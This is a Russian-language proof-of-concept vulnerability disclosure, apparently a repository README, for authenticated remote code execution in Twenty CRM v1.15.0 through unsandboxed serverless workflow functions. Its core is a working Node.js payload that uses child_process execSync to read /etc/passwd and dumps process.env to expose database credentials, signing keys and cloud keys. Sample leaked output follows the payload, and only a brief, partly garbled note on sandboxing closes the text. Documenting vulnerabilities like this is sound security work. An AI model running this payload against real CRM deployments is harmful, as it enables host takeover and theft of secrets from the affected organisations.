
Доказательство концепции аутентифицированного удалённого выполнения кода в Twenty CRM через непесочные серверные бессерверные функции рабочих процессов, позволяющее произвольное выполнение команд Node.js и раскрытие переменных окружения.
Продукт: Twenty CRM
Уязвимость: Удалённое выполнение кода (RCE) через серверless-функции рабочих процессов
Критичность: Критическая
Затронутый компонент: Автоматизация рабочих процессов (Код - Серверless-функция)
Протестированная версия: v1.15.0
В этом репозитории задокументирована критическая уязвимость в движке рабочих процессов Twenty CRM. Компонент «Код - Серверless-функция» позволяет аутентифицированным пользователям выполнять произвольный код Node.js. Из-за отсутствия песочницы (sandboxing) можно импортировать модуль child_process и выполнять системные команды на хост-сервере.
Приложение позволяет пользователям создавать пользовательские рабочие процессы автоматизации, которые включают шаг выполнения кода. Хотя это предназначено для манипуляции данными, среда выполнения не ограничивает должным образом доступ к встроенным модулям Node.js или базовой операционной системе.
Злоумышленник может использовать execSync из библиотеки child_process, чтобы:
cat, ls, whoami)./etc/passwd).process.env), раскрывая учётные данные базы данных, ключи API и секреты приложения.import { execSync } from 'child_process';
export const main = async (params: any): Promise<object> => {
try {
// 1. Удалённое выполнение команд: чтение системных пользователей
const output = execSync('cat /etc/passwd').toString();
// 2. Раскрытие информации: выгрузка всех переменных окружения (секретов)
const secrets = JSON.stringify(process.env);
return {
data: output,
secrets: secrets
};
} catch (e: any) {
return { error: e.message };
}
};
Обзор кода
Рабочий процесс выполняется успешно и возвращает системные данные.
Доступ к системному файлу (/etc/passwd):
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
postgres:x:70:70:PostgreSQL user:/var/lib/postgresql:/bin/sh
...
Утёкшие переменные окружения:
Выгрузка process.env раскрыла критически важные данные конфигурации:
PG_DATABASE_URL (учётные данные базы данных)APP_SECRET (ключи подписи)REDIS_URLAWS_ACCESS_KEY (если настроен)Эта уязвимость позволяет аутентифицированному пользователю (с правами на создание рабочих процессов) добиться полной компрометации системы.
Для исправления этой проблемы функция «Серверless-функция» требует надлежащей изоляции.
child_process, fs и net.